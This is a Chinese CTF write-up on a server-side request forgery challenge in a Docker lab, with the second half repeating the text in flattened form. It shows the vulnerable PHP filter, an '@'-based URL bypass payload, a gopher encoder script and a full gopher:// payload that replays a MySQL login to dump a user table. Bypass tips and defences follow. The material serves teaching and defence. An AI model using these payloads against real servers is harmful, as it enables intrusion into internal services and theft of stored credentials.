CTFer成长之路之SSRF漏洞
字数 1252 2025-08-24 10:10:13

SSRF漏洞深入解析与实战利用

一、SSRF漏洞概述

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。攻击者可以利用该漏洞绕过访问控制,使服务器端发起非预期的请求,从而访问或攻击内部系统资源。

二、CTF题目分析

1. 题目环境描述

  • web容器:包含flag
  • mysql容器:包含管理员账号密码
  • 其他容器:无特定flag
  • 工具配置
    • mysql容器内置tcpdump
    • vulnweb容器内置fpm.py攻击脚本

2. Docker环境配置

version: "3"
services:
  web:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-1:latest
    depends_on:
      - redis
      - vuln
      - mysql
    ports:
      - "8233:80"
  redis:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-2:latest
  vuln:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-3:latest
  mysql:
    image: registry.cn-beijing.aliyuncs.com/n1book/web-ssrf-4:latest
    environment:
      - MYSQL_RANDOM_ROOT_PASSWORD=yes

启动命令:docker-compose up -d

访问地址:http://localhost:8233

三、漏洞代码审计

1. 主要功能函数

<?php
highlight_file(__FILE__);

function check_inner_ip($url) {
    $match_result = preg_match('/^(http|https)?:\/\/.*$/i', $url);
    if (!$match_result) {
        die('url fomat error');
    }
    try {
        $url_parse = parse_url($url);
    } catch(Exception $e) {
        die('url fomat error');
        return false;
    }
    $hostname = $url_parse['host'];
    $ip = gethostbyname($hostname);
    $int_ip = ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || 
           ip2long('10.0.0.0')>>24 == $int_ip>>24 || 
           ip2long('172.16.0.0')>>20 == $int_ip>>20 || 
           ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url) {
    if (check_inner_ip($url)) {
        echo $url.' is inner ip';
    } else {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url']) {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}

$url = $_GET['url'];
if(!empty($url)){
    safe_request_url($url);
}

2. 漏洞点分析

  1. URL解析不一致

    • parse_url()curl对URL的解析方式不同
    • 可以利用@符号绕过IP检测
  2. IP检测绕过

    • check_inner_ip()函数通过parse_url()获取host
    • 但curl实际请求时会解析@前的IP
  3. 无协议限制

    • 允许使用gopher、dict等协议进行更深入的攻击

四、漏洞利用实战

1. 第一阶段:获取web容器flag

Payload构造

http://192.168.10.24:8233/challenge.php?url=http://a:@127.0.0.1:80@baidu.com/flag.php

原理

  • parse_url()解析的host是baidu.com(公网地址,通过检测)
  • curl实际请求的是127.0.0.1:80(内网地址)

2. 第二阶段:攻击MySQL容器

步骤1:获取MySQL容器信息

# 查找mysql容器ID
docker ps

# 查看容器详细信息
docker inspect e2c90d571d32 | grep IPAddress

# 进入容器网络命名空间
nsenter --target 3602 -n

步骤2:抓取MySQL通信数据包

tcpdump -i eth0 port 3306 -w /var/www/html/mysql.pcap

步骤3:手动连接MySQL获取信息

mysql -h 172.21.0.4 -uweb
use ssrf;
select * from user;

步骤4:构造Gopher攻击Payload

使用Wireshark分析抓包数据:

  1. 追踪TCP流
  2. 过滤客户端到服务端的数据
  3. 将原始数据整理为一行并进行URL编码

URL编码脚本

def result(s):
    a = [s[i:i+2] for i in range(0,len(s),2)]
    return "curl gopher://127.0.0.1:3306/_%" + "%".join(a)

if __name__ == "__main__":
    s = "bb00000185a69f20000000012d000000000000000000000000000000000000000000000077656200006d7973716c5f6e61746976655f70617373776f7264007f035f6f73054c696e75780c5f636c69656e745f6e616d650a6c69626d617269616462045f70696404353637390f5f636c69656e745f76657273696f6e06332e302e3130095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c0c5f7365727665725f686f73740a3137322e32312e302e34210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d69742031120000000353454c45435420444154414241534528290500000002737372660f0000000373686f77206461746162617365730c0000000373686f77207461626c657306000000047573657200130000000373656c656374202a2066726f6d20757365720100000001"
    print(result(s))

最终Payload

curl gopher://172.21.0.4:3306/_%bb%00%00%01%85%a6%9f%20%00%00%00%01%2d%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%77%65%62%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%7f%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%0a%6c%69%62%6d%61%72%69%61%64%62%04%5f%70%69%64%04%35%36%37%39%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%33%2e%30%2e%31%30%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%0c%5f%73%65%72%76%65%72%5f%68%6f%73%74%0a%31%37%32%2e%32%31%2e%30%2e%34%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%12%00%00%00%03%53%45%4c%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%73%73%72%66%0f%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%0c%00%00%00%03%73%68%6f%77%20%74%61%62%6c%65%73%06%00%00%00%04%75%73%65%72%00%13%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%75%73%65%72%01%00%00%00%01

五、防御措施

  1. 统一URL解析

    • 确保所有组件使用相同的URL解析方式
    • 可以使用统一的URL解析库
  2. 协议白名单

    • 限制只允许http/https协议
    • 禁用gopher、dict、file等危险协议
  3. IP黑名单

    function is_inner_ip($ip) {
        $ip_long = ip2long($ip);
        return $ip_long == ip2long('127.0.0.1') || 
               ($ip_long >= ip2long('10.0.0.0') && $ip_long <= ip2long('10.255.255.255')) ||
               ($ip_long >= ip2long('172.16.0.0') && $ip_long <= ip2long('172.31.255.255')) ||
               ($ip_long >= ip2long('192.168.0.0') && $ip_long <= ip2long('192.168.255.255'));
    }
    
  4. DNS重绑定防护

    • 解析域名后立即检查IP
    • 请求前再次验证IP是否变化
  5. 认证与授权

    • 对内部服务实施严格的认证机制
    • 避免使用默认凭证

六、扩展利用技巧

  1. 利用协议

    • Gopher:可攻击Redis、MySQL等
    • Dict:可获取软件版本信息
    • File:读取本地文件
  2. CRLF注入

    • 在HTTP头中注入换行符
    • 可构造完整的HTTP请求
  3. 端口扫描

    • 通过响应时间判断端口开放情况
    • 可探测内网服务
  4. 绕过技巧

    • 使用短网址服务
    • 使用域名重定向
    • 利用DNS解析特性

七、总结

SSRF漏洞危害严重,可导致内网渗透、数据泄露等风险。防御需要从多层面入手,包括输入验证、协议限制、IP过滤等。在CTF比赛中,SSRF常与各类协议利用结合,考察选手对内网服务和安全协议的理解。

SSRF漏洞深入解析与实战利用 一、SSRF漏洞概述 SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞。攻击者可以利用该漏洞绕过访问控制,使服务器端发起非预期的请求,从而访问或攻击内部系统资源。 二、CTF题目分析 1. 题目环境描述 web容器 :包含flag mysql容器 :包含管理员账号密码 其他容器 :无特定flag 工具配置 : mysql容器内置tcpdump vulnweb容器内置fpm.py攻击脚本 2. Docker环境配置 启动命令: docker-compose up -d 访问地址: http://localhost:8233 三、漏洞代码审计 1. 主要功能函数 2. 漏洞点分析 URL解析不一致 : parse_url() 和 curl 对URL的解析方式不同 可以利用 @ 符号绕过IP检测 IP检测绕过 : check_inner_ip() 函数通过 parse_url() 获取host 但curl实际请求时会解析 @ 前的IP 无协议限制 : 允许使用gopher、dict等协议进行更深入的攻击 四、漏洞利用实战 1. 第一阶段:获取web容器flag Payload构造 : 原理 : parse_url() 解析的host是 baidu.com (公网地址,通过检测) curl实际请求的是 127.0.0.1:80 (内网地址) 2. 第二阶段:攻击MySQL容器 步骤1:获取MySQL容器信息 步骤2:抓取MySQL通信数据包 步骤3:手动连接MySQL获取信息 步骤4:构造Gopher攻击Payload 使用Wireshark分析抓包数据: 追踪TCP流 过滤客户端到服务端的数据 将原始数据整理为一行并进行URL编码 URL编码脚本 : 最终Payload : 五、防御措施 统一URL解析 : 确保所有组件使用相同的URL解析方式 可以使用统一的URL解析库 协议白名单 : 限制只允许http/https协议 禁用gopher、dict、file等危险协议 IP黑名单 : DNS重绑定防护 : 解析域名后立即检查IP 请求前再次验证IP是否变化 认证与授权 : 对内部服务实施严格的认证机制 避免使用默认凭证 六、扩展利用技巧 利用协议 : Gopher :可攻击Redis、MySQL等 Dict :可获取软件版本信息 File :读取本地文件 CRLF注入 : 在HTTP头中注入换行符 可构造完整的HTTP请求 端口扫描 : 通过响应时间判断端口开放情况 可探测内网服务 绕过技巧 : 使用短网址服务 使用域名重定向 利用DNS解析特性 七、总结 SSRF漏洞危害严重,可导致内网渗透、数据泄露等风险。防御需要从多层面入手,包括输入验证、协议限制、IP过滤等。在CTF比赛中,SSRF常与各类协议利用结合,考察选手对内网服务和安全协议的理解。